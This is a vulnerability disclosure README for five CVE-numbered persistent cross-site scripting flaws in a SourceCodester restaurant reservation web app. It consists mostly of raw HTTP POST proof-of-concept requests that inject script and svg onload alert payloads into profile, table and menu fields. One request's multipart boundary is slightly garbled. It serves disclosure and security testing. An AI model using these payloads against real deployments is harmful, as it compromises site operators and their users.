README.md

Exploit Title: Multi Restaurant Table Reservation System - Multiple Persistent XSS

Date: 01-11-2020

Exploit Author: yunaranyancat

Vendor Homepage: https://www.sourcecodester.com

Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip

Version: 1.0

Tested on: Ubuntu 18.04 + XAMPP 7.4.11

Summary:

Multiple Persistent Cross-site Scripting in Multi Restaurant Table Reservation System allows attacker to gain sensitive information using these vulnerabilities.

1.CVE-2020-35261

Persistent XSS vulnerability at /dashboard/profile.php triggered by adding payload in Restaurant Name field

Sample request POC #1

```
POST /TableReservation/dashboard/profile.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/profile.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Cookie: PHPSESSID=0095837d1f0f69aa6c35a0bf2f70193c
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

fullname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&email=lol%40lol&phone=123456789&area=1&address=lol&password=lol&save=Save
```

2.CVE-2020-36550

Persistent XSS vulnerability at /dashboard/table-list.php triggered by adding payload in Table Name field in table-add.php

Sample request POC #2

```
POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/table-add.php
Content-Type: multipart/form-data; boundary=---------------------------424640138424818065256966622
Content-Length: 321
Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------424640138424818065256966622
Content-Disposition: form-data; name="tablename"

<script>alert("XSS")</script>
-----------------------------424640138424818065256966622
Content-Disposition: form-data; name="addtable"
```

```
Add Table
-----------------------------42464013842481806525696662 2--
```

3.CVE-2020-36551

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Item Name field in menu-add.php

4.CVE-2020-36552

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Made by field in menu-add.php

5.CVE-2020-36553

Persistent XSS vulnerability at /dashboard/menu-list.php triggered by modifying value of Area(food_type) dropdown to XSS payload in menu-add.php

Sample request POC #3, #4 & #5

```
POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/menu-add.php
Content-Type: multipart/form-data; boundary=---------------------------165343425917898292661480081499
Content-Length: 6641
Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="itemname"

<script>alert("XSS1")</script>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="price"

1
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="madeby"

<svg onload=alert("XSS2")>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="food_type"

<svg onload=prompt("XSS4")>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="image"; filename="image.jpeg"
Content-Type: image/jpeg

..
[REDACTED CONTENT OF image.jpeg]
..

-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="addItem"

Add Item
-----------------------------165343425917898292661480081499--
```